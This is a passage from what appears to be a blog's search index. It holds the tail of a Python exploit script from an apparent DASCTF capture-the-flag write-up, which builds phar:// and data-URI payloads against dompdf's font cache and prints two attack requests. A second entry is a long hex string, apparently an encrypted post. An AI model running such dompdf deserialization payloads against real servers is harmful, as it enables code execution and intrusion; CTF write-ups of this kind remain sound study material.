urllib.parse.quote_plus(urllib.parse.quote_plus(b64.decode())) phar_uri = "phar://%s/vendor/dompdf/dompdf/lib/fonts/exploit_normal_%s.ttf##" % (path,md5) req1_enc = PAYLOAD_TEMPLATE_URL_ENCODED % data_uri_double_encoded req2_enc = PAYLOAD_TEMPLATE_URL_ENCODED % urllib.parse.quote_plus(phar_uri) req1_pure = PAYLOAD_TEMPLATE % data_uri_double_encoded req2_pure = PAYLOAD_TEMPLATE % phar_uri print("====== REQUEST 1 ENCODED =======") print(req1_enc) print("====== REQUEST 2 ENCODED =======") print(req2_enc) print("====== REQUEST 1 NOT ENCODED =======") print(req1_pure) print("====== REQUEST 2 NOT ENCODED =======") print(req2_pure)if __name__ == "__main__": main()","link":"/2023/04/24/DasctfSU6%E6%9C%88%E8%B5%9B/"},{"title":"碎碎念","text":"c2913c5a6cfd4798231482f7d4beb413c37b74dff57375e1bb71dfc24268444cdf066b8fb23a3e987848574c2368645fc44bc4653fa0260eee00d1b69b7768d7890f6d160055fa5b51749a1b6221d576638ee26cb68a7fa06416ad9b9268c800899dbe3b29286817dffce51605cef45b691f413cac135e45fcc4e364f38199f1315de2358d20318ca9ec9ae2625b6e2b20e5c6d50708ecedb90c125989df625bc4605162c48abaa0682bd4b6b45427627ead2d10a1d50a9ad1d1abb27f45678737811e721c66d820f8408b46f4eeb93fc7984508491264eb4b1f2f2d9d44dea76c729ce1fac7ced13012d1baa393f2c84047576074f18ade92c1f411fb2c06f49933b1deada47265fbb752307d4b737dbd054e3700e96ba2406fa7505ed37758624e1c71db8d6a27f4431e927918dd578221309f893d841abff087130ccbcc73cd5eba38bc8e1178c80d6bebf1a5e66cd60103937f23f136b07ebf34eec9a5916e83a10847e5796cb2b38b27c53e2b49d6d8a899e89db56f752951ea333abd13d41e3f80de256e4078e11e978cd6f06e18a65ad85709b737b75c0653f6979c0f42284e72c7abf757adac175c7abd98b1910e988cc6f1da2fb2ed81cbc1f3e00be0f7120c516869ff5c23dc0ccfffd55c485b1542617501fa937e04aae985113a8927859b18cb6a22c10d200e714f3f6c5d06dd0238b5d55e348e8aa70ae7cb2111827c67dc5e141c30050ba188fd6fff0c48ee5e07b6659308607d0c7ef6b5d09e0cda5db6aa324305d5b3edfb80df40d116c629f6605ebc099ac492f6006cd3da9f1b34accbc4f6f778a313e51421e3ab268481e05474209de845e1619f46cf4e6011078093189d764365116d660a5627e3e9c44a4df37b1b40be8f1e2e61da6815fbdfcc8b6a0326c31d590772420c9b0c39a0f2c3bcb2ef8d56362c6e9e0b63860ec8b51258bb38b51fd10ea8e13293166ad93c1a930842e8f17af17732c78312ddeafe1e9c201fe5e1e53adf927de5f847da9a00e8f2ee760b000bc4ff5a078c78f41105a7f62bcf1d623e65f246ea634f68f9892d3c88b2bd991a70afeadaded1dc438703d80b7cd1292884414ec9d019b1ff6d978ecab7f02431bae1bae492ed6c088069b2f8b74f964924734b36a258f0ba7791fe855715bd729afed8da9d148e6309df587c063208db31b503b13749c57ca0c87882213a0a707e0ada1cb3238ffd300ac45bfe0503f3dff6ce36aac45e640c0ce08f84a6b01a9d2bb2e5e1a9aac15a21e7fa3d9ab298247b437a8a979e74741d5aee876df153d28e1837f6068b3160c84eba4fb94c6905a39d9cadb9f3406b2591b2c996b18b9229cb3acca1636235bbda6533e8f5fb68822fd5dba76ed1476a3e6763aa30f1fe13c67519bac89480e6bcc7ca02283ccc698973be7cf38ecdd8cba3c4659dd4f20b80cde04944732b9e4ae70f3eab63f926fd2c903826e6319aa3c5b1a00e5aeb0cbd21b401257b8bdb013b990a479ea10a5ccc54ea661a0b8ee1a1cc544d1702a0a43d4dd0c00c1677d5024fb5855884a64b85f3567efebbb8b37a80f72cead4aa552e2359289b9bb229d53af012cf4b567bf63b8175b2a2f5347007f616dfa65a44ad1f3c1f64a9cd386490cf32e6f9a18e86e56bcd56e76d75ea65d51e638a2d87f0a17b1c54825901c45e7be41522fb483eb371b6a4ae9c8c2aacf350912be4300b7b00a199eaf1a6a7b77200c4357f2ec7ea38a0f376a517093874f84b6d721e9ecbac4b955be8c53131daa771eeb796fb62e36c89bb178cc0da66de62d80b43945d91f82f5fac84ba7df63bf340270e62a3d2b94a5e43bfdaaeee92aaef46b4ce80afb388fac7656f64de9fb375be8883615bc32f4055f36c71028075cc96a2211c228ab4eacdd0d548a5cd65d87db3e75fe2221d7dd3985a3e5f160a43bad55a9cd88f78e5c10466199fcf1824d8fba88f0279d3e8b94dfda34841742374e6570d54be06a149442aff884b1e676792b58c5f2f9ca54a6302bcce2a24ecd9a202dced3e8089acd001e383ccf509bd6c989054eb89918ac8c143858c6bdf6b0c788b81535a6d607ba15492db532b13704c22264d5e051142b2bf2ae7a10dff17a5ef7682c81619e308209b26ecca291dddceb794b377c1b930e309fc52f61f14091869ce9d1ab14f88627171896ca8e558941366ec46ec83279f8acdf1c7f79b151b0b5f02b45be5e1b167c85e41cd411bd87a0f69c1d9cc75d543696ef7d33987bd1f594509426039348d145e66d91e57daafe6a547c75361d6399d6381fa0efce89f0d546287a0e9da976825a393423211fe6f241c3e6b20922703648379f4dba42dd77b8a3142369f94099d71f0c34bb2a56c1a466c7c870ea718b63c9502d5b18d162c96dc124a0522d24dc6d1dd2d444d09b7c3ee1d17688226758d20d8e2d2316abf9d0ae30ef690f8a30269a1ce73c13bc1822a01cd7f16fcbe60ac7a91c098b40ed1b008d8db784e4a824c2fb1b7d45e16d32b5864299461d9002e64a76c37080ba60f2ba84b12c0fef142c6b2d9dc3de901db3cc4b4a7c796fd22ed32453ea8a1f328a3e7d2dd660caff511725f9656ea9178d42513032d7b5dac54f8ae995b9a7c04e1b9036503dafdb6aea4b6bc69cf7bd4f2e67b383563a587f0b04cddd8adb6c56d145a2166b16babe6b41763437c278f521cdac39ab7161fa01c761cf94ff2c0d80710d3b2e5c632a22689fb233a2d85b30a4360a660be058022181769dff9f034e889c5964f5e7c18274f4ca7f15dea65caa20ac22fb04d74563baa099c9bebd2e5019ef4ee3492f088a11f4a33ac7c5a68415d9628faecf7817d113c4ed3e624e7b4ded9ccce47fd3e04feac2c826f9322ed047d5a4403f1d2331c27a2425a5e3b8eea4f67e4f8deb3ae6de8acc2938dab2542e806564be59a302c3ddb5c82c21b170cb9a0a20724f1aa7acfa3242bae19a3a386ee8ef1e816905e5640c88f7ce1a2facc7b1eedb25077298c4eb5529584309797fff989ee65d1853b3d240c6faf7ce81d1c8671cf860b32b37b755773ff0e9e319504728aca98d38ba4737fb4f173bbaeb703343145663432b3e2cf892e05cc8623bbe49a8254d89152b4c22d45777b9b6834817413654a13e5173518a66d9b94a0b55cfe8e49be1872b62f858232664b7a6671a4155c6d5802924198909a33742b08f18e4f5005e2ba18f7b5fae9ac8bbbe928b311199ffc5cd5ccb61c96637eaec16c4167bc521126e9eb954202d1527b75e3af7666d2d949a6bb524317254c399b19bc04bbf0e8795defe0eb03f6f653a9efb68afb2e4fc3583e424aef1d19c89ec4c48996a88f9d3fbe9d39afd80c5eae8ee37b1da54a9903a443bb9406cc1eca65fb1270f98c44f21b5fb8d218d0c0340ef1f842203819eb9bed933c7679cc91eb5e8dbe1d66c211933a2257e67db5dadb830df4b05f7e3890c17e80d5bedcf242bf3ce862b060c0f7a10dabb5fb1a4f12647ad8e6dd8b2e36452b3677d3c8acf508271f4aed1d58e2957d64c70f3f84f0bc20c4a806f635e1434c83888a42f5d50454cbbd1b3845d4695825f3d65d8a6f19e3079331128279f22be4a65c5808f1b739c2b3c211736b42c0ff20708ebb0f875c1c03ef59c9e7bab059b104285fd497908b067dbdc6d72498ef9e3e9233ffc073f0be718788f78e590a6c3219281a768fde907db5d7ab47b400daf2d33007c5c86e6ea43a254494f2cfc52f616319b2b1a91b689c3294298abf2fc5e525029ee91b8d451122ac625059844c7fba45890b1829bbfa4acbd1f2e44958d195941ec27299b0d7fb274ae50be7b07bb8c5fee035c320880ca97c023f153d745bcbacc91a846951c1f20f47348ee81b865c7d2080a3f7c0bc767ca48758360c8e112adfb917adb96d00d46677ab17d761439dba9d093421ba93c1f91f8b02c1d80a789679d4e6f3d5f5b929324ff95bd806d13bf68feba39567abce636fab35f1639cb9004192f633a7e597ffb8e544f1f5adb62b228bf8a1e17a34b015e1b49efa177dbf7a455aa722893893b42494d83dbb47a9d5cc4a5f8f9acc648e756e3eeaf12fdbacdd693636f060fa313d4d6637a5dcb83a2afd31071b6cee8de71c91f9ddcb2886d8de2625184da625174696be82a54da1759973a3284713fdefcd2db640254a49cb98765f9b6331c8c94e18fb83b0b15ffeddc503be12ee67390772d5b3b6ff79d4cdbf551db3b18f2514a197b8746e59a16cc5d9367b20a99b58baa8c86ad8966a264094601b9a13885dc89aba8ae8066d62aaed2c916bfdf3d928b3157cb9a59f5dd46bc4b60671df664c00cd035f59ecd335b76fa390460cf340a95463fa36a18448b65ebb4ddb4c3874c9ae3e8d465bad3eb86ba75175a14669fb8d2e4c8a4a182a4bde68cea020419ac444972b18c39fcc30b4fa0e5477da57f72af7ad4f6b1478e5e6c43c0825e8f6ee36e46cd73a4b1c22b0d3e8e0db03a0e1411a5af15290d8880084d0896921a8fa4782b85b799fff902044ec4df47c5e5cd3bb8a0714b8725e6d54031077894238ea5366031e3c6e820471e6a977a84a4858750e3194d657ea1edbefe175a2385069de1a57a285752ee9bf5ee6859c772883181035ecc3ef2c06afaf00a4bebe8123c928a8fc2ba496211e44d8bb99d07b5bd98c02888169dadc627ba90f9bb43715abf69b50abb4382841ae88a6391cd7c6623b9be5f2c147a3ec9abbf8e659535ced0a20ea316756fe124335e80c30ba9bfaf682193f12b4b50db1fc726df54a1fee547bbb2b41fa4c04683518a600bab74d6098394d4ec0264ba0094d9b32c0e6014c78325d12b2221cbfb96adc6d5fa61dd085224e25eb8482122aa502627dd9fb93367c8159914c45505e3f30d3b42649fb01ac53a1208c5a86917597d4b1b2a0978e666927cb70f25ab54a3ca06b9c1d7e3b4b9243624f23443dc5dfbb1651252cccf7a6884e1748eed95c65af3f22a0086ce9143a9fe3ccfd60baa17606e8b02c0ccfaa3349087edf67bb4cab4449048c567c171f65224e40759b9ed7226794e85f7031b3e0b97af7b964905fab4a94389d5f2a1a5048e55b090a09a7b0abc39df7b235b7067e6c74eee68be99a1ff362ab0d61dfa5c570a9060d2eb17eba6280234b760b110abd00e8b59f7fc4e3b13a61261464d1aca5f188c95686f553c41dbed43cbccfd11347c6f474e8aca57d17b9b38ab5c73cf44476cf49c7105b59593fa7bce87d5a46deee9f4644287ba3ab7f8c4448b0fb885d955f0c62eea47d88e6c7902c6dc21b31327884a4d2423daa2b0ef45ad99f6eb409840b11726210102f14ce3aea09ac17133939f11ce100fad3ff30ba00a74d80e4122a9926cc6b8c477c6be58d7fb7488c7680a7f89e6344c6dfebc438ebddba6b841cde962bfee50bacaeb1862c9fd34248c520fe5ccb73b34e3258391510e9119ecb56d40b3afa964c67e639e213e50bc4ee0d2c6a0ff4483f55c63a878cd9f43e0949abcd39b71c41e7e1f6948de5d8ec2dbbf1e0c53afa5e4d405dd8c0bd3bf8de7ce380bf2ee8bacbc5ba5def7a6cb20063c162f341b60734fc389f0b6f2242aa92c9fe62e19d396f0b4fc9ffd91dd7ff09f199e5c933191b237811f60c92eba45c5b2ec098a1b96e3a5681b095d24be543b86e7f317a9379b4f2a9e6ddaea675347fa74d271452664c15fb8e7cfe15200b2ad11830c4f74a26a2ceeb34e957a99cabc9cfb6b832b2c9fa85ead88300204d24fb0c8be87e31d78de7c1e86b14455c7999c56d0f5d7b43829e9a047f37a64a7195b01cf23dfa17efc1ab60a66f86f70fe8a933517bf2cb24d430597112254dfe3061f1895c6edfcb54b61a5df412c80ab1ea24161021575dd34505f06879adf19062f731be9f84d6a096c30be24ff7b5e1eec750c0e6bbdb8a9868657d450728be872401d95e72b028c1d438104c04fa0b51faf8f6f210b6051d9b093e2f615412e209629385397146024ce54dfd68a4b35524b4f763c9dcf6eeded841eeaf05f64bec58e4876faaa9381a2058f83f0d6fe90b02b376eded6172ce224b500c7ecfad8e93ec0faca1f4380eaf6eeeb8ccbee31cc8c364d36a17f3ca0a181fc01c6b4e6e15f4d2f9a63ebcaf81d23647aa137a3c33ec0c5766e963c32824282022d06c42079c418c8fba006b5c961969f461a7969024129ddda534834a3b1612c1cca6649cf12ae7411508efd325950509301f4ad61fbc3d3a7ac0bcfba367d2a22c0a26265fe533c5ddf51571a24b08c6741efd3a201b55b50bc9820668e89f30c6a7eecb4bbb9648d83170da55fba1880da984f3237ff59c0b569a2441ac8e95948bfb33b2a939a3685254f31419439a2b4bfa60b025712e1b1fe9294c9c833ece5115d9f73e773920b42e48e776675891cb60e60bf48fcdefeaef0354fac6ff9850b8871d9e19b6156314dd26a9f3a4246a935f89296cb4cc5f54f39f03b6d1e0a2a71608f1af202b03983cabe4d41f39a398a4519a73449be1e15c55c4c6fc61781704d5af1e5d0522084b15ae885c38622c2259ec96cab9cc1213e13bcc78cfbc2480f529acfef30da5aec7143891d1e9235ca9ca800a65ac9076212601501ba29ff32cd88371bb87e0367dec05d59533d176421328d3b49cbf3667c918d4270a8c8214a494194626ff371ceba0c4a75b0ec66874139ac04fc9603fa8c5d0e60e7298863a23f519caf6c47245e78fc7c98d63b4d73bd90c8e1bc21dadda70158455466a17e80df9ae000e72fbedfc3ce7e1213e035043c147f695078409aa56058b80c7aeb65cb9fbc09a13c5cf30997f1176ca6f4628a6fb0ffc4589bc64b5bb122dddb6e79e050f33d49ae556df2311197fed2ea64bebdd6297e0d3381b9645bfb2bc43eb27ec8141cd36e58e8926b0f07ba58b317331a976e016f04bfda67d860c2e272608de368c9c10dff63d54254b25c630e434f51e397eeaf32402cdc5c383c861b48fa81096e71bc1492b3b56d6d2cf18d822618fc897077e8848c1ba07daba72a3022b74e37276d220ab9cf8214212c18a1e6e6003648c2c996da34c0d50a32c2a82c10ce466c569c4b54fca6594b22835f1e58009c2688b30922670243ff2623e0fe8c7cae5e8332a11bdf4d5c7ec5e328f85212b02c55c9eb6191ac8f7ae3fc32b61de70ce7f66a2832d8a12178aa5ca8fa3754eda14a16bb2902500205c3a9758fae9f3be456dad96dc853035d761996468ed8e075cd92ebd547e3326fc2008d4f85efb9a23def8df920a3ff52628bd474345bd5b70437d9f850b61d074c8fda9adddc20e374821ab01a1c910a72b2b1c33241437fe1f97243f55f700bc7eab55b6298fb1d859f8b6a36e71629a56cf75be992b5d583ce17683135188a02d1af972da6f0fcb6f2cf383f6abcf5c8b775bd5523ca4bf5e8a8e1a76f044b39729f51d3a9bd44e6ca479cfc25e4f8ecc4e6f16c537a8c986a14c3c8f2407278a490744d0c14a714c9ac8d5b9cfea81a23b2e9e125b574361090c8385b1d3c36c63aefdc1e57e05715456d50964466e49d4c859675bbe51853d5ad13a90e2fe7672e8f622efde52a4d204aaaacab88ac1e8bf153f5cd83f8b1f203dc30454b26642612142f2a274b24857926281062138fc98ad2466c8065c96b72fc5cae75907d19aebc0ee9bf81e63b611200993ec1e9bcb4954485faa128e0259e03fe21ec0657b9e7e89e768d93f3eda0e2520e4e0cbb2dd79a1d7721cd97a8ff8c0dec47322ee2f0fba287bf9f9496e946edf37f2f64847ea1ac936312355f459774bc792f42366e681bcbc9c26babd0ebc80073c18fb18c1848638f9b77223ea7f9adc92ae885ee666a806e6396409c0f74406a454d5f5e7fd8f1e6a54fc309e04a61fdb602707b89f47f76c61a2c7088e95f2f0fb5209ace47197e468769072513004a9a5a8880940c7411197051af7af96867930c71b5b019f1a0ad805b9596cdf216d0e822cf27e6240546b4bff0b38ea4e74d90e203999c624c4739032a781bd96483287c60ceec49639b7f3ff014817b590666cb96c2e3ce45b557427f899903e6f5b19b3360de100fc4db16a9d1dfb225ba77685c473b20ba00fa32e0149ff5d746f52340b8f692c681e417a7949cacf9dba83375b5241fb6c1f11f850034d8d52187e9fc12e22e35c51df8fb29e76990148da686e63767d0af86d06e6a4263f862d130a98733a18af5175bdbfa4c29d12b3616101a0c69b2281de3345fe04f631e856710f87e63020a36ffe4c2918f93b9bf16c739c02a0e287e55f8fa35b566c35742a915ef5ad8e9ef9e71ebfd5d7342a40bbc4190c23fbd87dedcfc8f1da424767f3f71381a3d61928b5d3f6932221cfe5411a51099eaf5366041a585b8fa6e9bc2f0c60984148326350aa4674e841c8bf1659bce5282d52443d2bb0ce21d9bee785500a09b370dcd67a818e87166a200f9c0f3496e091eb5aeae55852e09efde5c5de3d3f0fcc564bfc7c82beaf99949c76290013dcec1467b902a7dab86a2d3f133bca27f1213a7d7c4f3fea9ed4e2b3d693faae8fd9a188836279ba892e497e7b39682685bd951bad5dc2347514f8b30871e2513710469bf8ca88b3bcc4e1e3d442f7773644d3daefcaf5622ae9d6eb672b3d113eda0cde7d41dc870dd8e07b189de9b9d485cf773369349be8d8796175c2b53b415a25289224bc01e0b8944de096b2c07187150b3da413898e6616d58e17c0297fa120f6e141d89fd328bedfd48a888f06d6da1c8d5f767ca7aec1ca40653b15f8622b02e24cf80c3fdfc68165bb84d279df98f249f3a46fb4c9ac308e59287514c4db74a413b6bc00cd7c8f350ed3197227c7f371d11d02f9ce2ccb3b3add98c02813776adcbcf792c90f36a4c8db29cfd7ea5ebefeac8886cb1b2bec6fed65693f2f8daebb3115eed6388de3ca5b768880324501a0152ebc4eaabe1257c33e5cb7445dae43528b4514c29b0b3067577896a88c5505345e1bbe12cef1615e38813d7e9be4389cedecff0a84d7935e724167c33c06fa418b82c9f462a166f04f499f84c4de5f613701f7fca6059fd5bad365a141037a72a0f60a7ce1be30bb8b71fdbfa8198c0cbecc8712ba72be59b7db6cfa9786dc3b0105e05a77450de12c100a397556903db1bfefc3b10dc2a49ba2d9bdfee28b5e0f964c957a75885be1a0a0def73ea7d35bf5b5b449358d734e4d856c42d070066f9c5136564ee7439659468e73ca519046deb2b533df60f6db5f16b1eda4da297634149ef4f38546c0fbcc3edfd7140c884db9678028b97eeea9898f741714c464044f097f74b2c6b1a05b6fdc08289346708fbe74e6a8ba66532fcdf5d14b3c4210c7edee8e5f7ce9dd9cb87632748aad9f16a95954ea7390d5bcf86894b83c1aa59d4feabeba40e39e10c7a4d2f4ee5af03248ce59a339ebbfa0f3c186f25355a855b91565e18f4fe4247cff007f73686eed422a2edf6b9bc03d074bc456cb253d3ef215c4c277cfa0e5b2938a885676658f2c2df9fe9170f8bf2d9197a0b55f6fcb5d3b5a96baffc7eaa045ad8dbe28f64871b68b41676e7e9c93a58d97a4c9bb9654f0ac59a11e7e2994b4ce892a5b93597e572d633ce2b9e24ae2508b11904c97478d9978d50625ed959d49a1978452e7ce6050d703128d1dc10c626804514df785b9db030bc54262fd138f638f4c104d0f70a8b8caeead5e8cc3f27aad25e8bc6556732f9b1dc5cd695f8e672bb039010b1397a670ce495d11891a33b6814988204f13123494cdd902d8411407961460d243f4b1d93038b0ab2c65831827ff4b7a278f1bfbb4ae643cdb7924147acc6a5394b1040118e641c19797d4fc6b52de26e4c3a02a546db86bd482a3f032fa4640fc2c46b96c895010e7eadfa36ebc29c5fd4f6fe84775e6b8528c8f044c8c9304f2b407ef4a761b4943fca1afaecc5cdaec360b491cdd406fc5aced79a3b3e24ec048bd45443a5cc8970069dbd941ac932296aeaf6e522a6b403a5efb324d0624282efd8c07284634e9920099805090d08965fd836dc18c1b830668f5eb14bba86509ce897559694e75bb9ae07112c8210a574f542b6668a67e7cacde89895ad53b78f2250b520dde32ec75a9a6e16da43da5a7f876e42a14ee79636515b5044d16c5acf52177cfb7f74f4a0f04514b6e2fab30d5c16b1a088da1ba05b185df84267296689597752efc775567318b33a0f46128ec2dcde703d0b74f02dde08d3581e267bdc81b29e5e7363a35578d76ffb3fe4845b068bc13a552ded3b93c306ca8a9be3316e36dab49d0c18830975c5d59cfaf09bc75c5c8d9df1ee5c083fc94bf1c6b6c4d1843b9a4eda7be20338063e942f44b74eac2cf5dffc60234aaebce820e0c18d4ff0c5a7b77601095cc2b4e000da0d1504c413f6316e6bc7dff9ca5249275cbca8b3eb25efc37911c87982eebd7ba2201275c3967be86653659c347fcf503fda55946e7619b7bbe47467f2a80f59d67102b99df7482b0a2b116e3c2559a3edb499cb6f3416b0c66cb81d2a241ac925eafad4004a3aeb620c4734eb67cbd1bd2b65d0ae7d25fd347e8dcae52d99f42f47e71c872dac1fc5a1c9c31fbe5ed527265f6eea82e5464d03973e0c1629f37a3d5da2fe77a5ab2fd69b4e6c9439cf94629267597243449864868014a6a40f95f049682bd2ee99362ee7056b88fb47c1ff96c6956d59318a41cbdd8982ad196e419764904435b025fe11b6bff9ad6d8aedcf89a78cc65855dd0dca07b0d17f367bc9cf96f40ace3e8e676b70db16a5f530a82810b9b91de321e58678222a275813da457ae37a59b13d9e53b8f29600a39e1a9c4c47cd2f53daaaab50901dd1ff19ba48894e409bc2a20dbec4207871860250ae4a9dd1350a3c393d2ef2555e7a0b0635726b1efd10fe4a37d12c620555a3575271a061f4d314e590e43c2df083d8de9fbd1ce8f9d6a43689e09e4d1061d938b64811ae09e6952f73c83ef4d10ed0fe9ea53a78fb7265dfe62a53ed1f2367bac5ed0721d5cc8187a864513f0c00e721e85968e77d421e9f8ddb154d2f61bc2f6b8a809cf883db7771e9030a9a38d6ced896e25b5c80335789b9317f4cc1918809a25c4776c9c8897270dde15db61103932bd0e02441e8a2eab4e15d7e9480621ba7a5e11d8b8ae9182382bd76832bfc48ee438117e7cf6142890d0813e68416bb3753959d816dd75da496f4ba74ad291ce1a9208d32ca0594c106ce4edcde791eca5d89a4dfd2c7ac8c627aaa798c779b0be4c6358c518739c64690c4305baf88b671126a29ac319397353a858e2abf9049521c51ebc32e6630e95419d96cf115f2a6e2c27a69b5437c78c902bbc6dc16ec6978bd414d2542daa5b4f24177bd5278d7f1ade60ff16b07c3676933020773fa32edd571dad01a8be00e09f774c09bd8e33a9b28384970101a0c24fbc0015faca78a0eaeccb912cccd93b6314fa931b67ca722cfb08b488e762a3be35f1bd9480b005679845c7bde4e37154599c25a444a225fdc50c633218be76f4272a80ced3a8735ce13aebab0153fa4f49081a06ba8cabb94bb7ab99b8eda04d97332b86f1e950e35b41339800e71728fdfa4e8a24461fa00ef48e95e406232ba3cdfeedf88dfda715b8ca0eeb85725b2f57dc1f64ee38fc436ded534b5c045919212f9d9417f794c2cfad1e4a595105e15b56786638364098075a2454e6fb3881dd2f8a1752df07460c67531b2ae3a8a6082edaae031de49eab51edbd3c3e64552cb9e3c15d9764fca7be33491fa93d05c48f80d06563571383bb66f5700c3308fae8113a8f312dde90fcbb409526a4650aab00506e1193ac590132d7e2cf046d938d5ff8bc97c494603cdc44054208d32dbca6c66b2d477c6b25b3bd4e101d8d1225d96673460436a03dea2121c11c7dbdf91cb35830010433f77c2e67a5040d9b5dbfcb1b8357308aaaef2d28274465d02465a06ca5a7c5410e80836446a3a90fe194916fd8befe3ca0419414b8d87dbe4b444d175f47965e794f2edcb35a4416404c0a7c0164d41e832ec290f2894c44641ef2b4f0107bc7f01bf00213ed65cc2908d88d34de5aad8881c0100b4e1e0338223be2bbcdb0f3ec3d1204b337c06fa26211a8cc277df57248eafd0c84100ef8aae8c016520e51b40c7723910f53cdfdd15e7c9c6c8b51df77aafed167cf715324fc63d5b7c5d98a5f87874b55ad501250203f011444bb2491239cc5e5c27a2b7db635ba61a8a2b1a99234cbe6f36a30fa24646717d4887e0e108018bebd75662d11190fecbb7cf8955582f2a567828c5dfd3097d278532cdcfa3547b785b03a1a969ee718421c0e798ede855aa9b9f1d829a2dcd70eb29360f70f08094bf453a514a9ce619b84acd5fdee8e5a0ea4c3080b1a5348f853b769471104b34ae1151a18fbba070c723b7954c4716b7878b0fcba5755d75b787ee9c9446bf7a5a28d72649922aa1c8fa554cd728c7c81d7f3cba9c0d60fa8b16788a32fb907794b423b4ef813ff64052e3cc34e31e4dc2568b55fba3f119d873d8a005b4a481636e3d781876aa257a0a20ae5fe6d4083f30071822f2072723cf3c9cdd34a71a5d2a74c43d2a3c8734897d4ae0ef4ce7514fefcbee3c17ace2e2450b914c069100dc0dbc8182e6cb2f483e1c8578a0fd4e35671958eefb476c1ca66aead3eca54d7c9703a294c68ebaedae533bd365187446c3ae43dabc919ecfde8130a01cdf4517149cb41e5308b9d51f91d0b3fbd31809b8f99544fca02af886d5cc50b559b984eda8d905b12708e2c6bba5dedff0bfe79b5737e7c8767abeee14b90e9cd5904704268603859a12eefdbad470f1b474738d1a003bb76c03ccbff81a3a732564d15d1722917c91c6be72952034022f6a006c1ccf4f647faf927e303c7d560bf18d724983cca28ccff49c06c810a70a272e5a031599e259fe3afd5f4f4d5fc3d45c8ea088d6f563095041d117697816c11b2e6124978b4e098ac5a392449c7fb8445a0e2af1cbf84d9fa2adc81ec007a64f2530158f3814d24b5de2e494b01a6eb7c5a182947b3642f6b34fe0b244cee6d5efaeb819e24a4efd50f6e7de9620ec414e1e1e8bbcfc4721765fb3ae3a355af1191b8d86e22c6eae04c9e209eb31fb998a9ea54c223157423b0af76be59ee3e88d0069ed96a00ce9b3ba0dd03a4c1bda3f9550d3e7bfe092e34822daa54a0838b9c77201bf5b32ba264f3ae8c90a1b482e926756d95b7b97f64e105f7f371e17c443d99492ffdf152186fcd1ad9e0bbe138552d52f3f6151dbc5dbdd72eb8de2136368708826ea34df8cdcfe74f1b0a6ede8a2bdceb19c1f8cc2b9ff64a477f0ca20fce331fb876ccfe24cde60887d8f687b748a738dedd2526ec8f71757acbc528fda9f0dd32070754890257f46b0c1a997e379d9211eb12acdbee0d34607b272ebe393e354ea3fc879b463ccde3cd801cea044c5d4a6e52bf567cf40db7b7f710f294e3c3d3b6e1007c82aa1f576f5baca5efe69498e67c42c73282f97d95445c37fc00acaffb4983c3ca961faf4540c009f6174c34a39c226b0b03ed9318d1b5d0b75295acf6d33a402cc5ab5509109bd6ee8c4bca5e685bfbf374b771a80bc77dd513b7f16ad5eedbabaa0fa9040b4004da73f560f962aca4a0ff213383ab9107cecd15d046aa18e6c7731014b84b87b3a8a3e1185f1ce34150ded78ae5267ea0cf16adc2bcfd672b386c4305ba13d234de5bd1b55479ff40651e2a354033e3e1282355a15261e4668982732a63a6ab74f223c2b195d62b2eef91f7e1bb062166710df0444b9fb76a855d0dd8105afde737e31cd6f404bb9200968a174c26ae0435f1f5f50c6216bfa339b3b3c2ecd98853f98dbe8bcedd81b2533d5931cd9b44e4b7a2e6f61e6e42b2a770150aedfa5e1b388988bb9b7f9719ec33d16c8261c2ee9115900dc0dbe6b24fb381a5e137745bdb552b30101f8d1bb39c77d641cf5f1c75707a7cd1064bcac036f294c170512440dad5c13989ab28d87c9b19b50ff99af6611b62c65ada790c3e928bb421bda91bdd2e0a36268667797927ce046d88065fe0b0d3e704474cf4595386889c8ee27f9471d67a33ee83489b67695c216563f704ecd6a02a2efb266b97d99898d72c6e43575a03f9eb1935fe376c36954504f64460ca39f711cbd23c87d275c7b23f4d69ad43474e7ddbba52e75bd931f10ece82e74a6a71f514f26c241823d00680973a72b3f3abdab6edfe843ac4a6b1a927e9dd554c482a795d7c25dca0f8e93d52bc049f4ef871994d1bdded79efc732483ad01663dd0e95d88a08d9b4d702066a981bfed7f02aa0cec7b7a96706435e24b29380f995581abe48817bbb7070ad50f64f97ca7e8f4e12f274cd05faa672f63ddf9ac1136391e5794e8added9788dbfc8f1e73ba575a56561dd288405f746b5d57eb2ef548f325416a9f69c4b9e8d7b093d49b0421421d706b28af1e48369973127fbbfa9be252ee020ebfec38686015a9fd3b2f374282a814b66a9a39578d60ce1e84c5e95b02f214506eae1d16b93f1937fed0256b8cd49ee79fe925e0755f5a2713ce62ecf956ea165f0bb595207c1fbb17c28aca32588df7a2414f94e79d2ae587ed1df763c3b24d3bccb6dc01ef6556aace4ed59a229fbd36052ac27295631a5bd69940a44aa2b16619c77aae225f2f6650b50639d5a404bb44fd0fc1fa0ba4766b6248c17ff7c9213264b97a8211aacc771ab33dfeb125f1983ca3bf57edbdcd8b4c91eaa227a94aaed447349af4c3a1e3d0494455888f1f265a9e22546c9e060762b1356bc027044d598de4601a577dc5598ca912589f8cef926f3280c46ff5ba2d1de9ed17f4e9fa7107538cc463c277dc720bcff82bc2477fffca4cdf4f22bb58fb3d1e251a013097358eeb1299d22733d33619f8a2641b19bdeca34071f36ef8fee17dca190060083467d3f31b991d23e4794f00f46e3bef8f3dde128db1dd50094a8ce332a799a0c740ba021ec4d86d874fda52445b490dd73d9b69b5dfe4637631c266bd0bc03c6c3caa8ed804c6828ec38f0494c4e167b0d4d42c9ee2c234aee66c75e5f2919af9494da3ce653880981c449e7172aeb06ba7ad458a9335e330cfae90228e469a0cdba2d05284fd549d466aa5cb214f1b804bc4f50b37bc777bc320435cd1fcecc94d1511752a24324671f556e8f9db9c0dd0b961675934c75577565cc27beed31e381120ee285c4c9cea753efa5eb75e66c21c20c1d67c6363d0e3f38729b6370cc1aa6d5f6392e7d6d0ecf7d83dd06c259d048071b972ffae442bae2298dea2d368cc30532084c9e1b2acaa6b0f96e8b6dfc7c3df6a636fe2548c054d71a14e880e20a0c0748c30910432df04d7d056e2295e473c7a773df31a22b3f4b22a18bc3d378436b58be473d8339922dd1a33c67f5f888328ed0af0941d3e7656311d8f5f1c99ed3d6f8ee1f5c28d20824f6cd1cd12f43322e19f77f877274f79b05a60dfb8ec63547026b64c722621924ea71e177ee217618f99bc906c65e64c126075e73811cc74fa3007d8a93ac576fbeb71b48369ad39c33aae27c176fbee1d72b9af3c68a8f8c3198473d7d1259d2096d446cb9bf715ae90d3ca1c318dfcc3a28461e33f1d59d2298d660abb5656c80f814ab7be82e3b3f3b57244a6b1d18fc858328cf2b6d7ccc01035584c87a3047472e6530dc4bb81620aec822d00d1463ae38fc0efea73b19029354610df11e3cdaf9ebd00d146e0603c92b862cac1a71a879b80f596bfc6ccfbacb14fbcd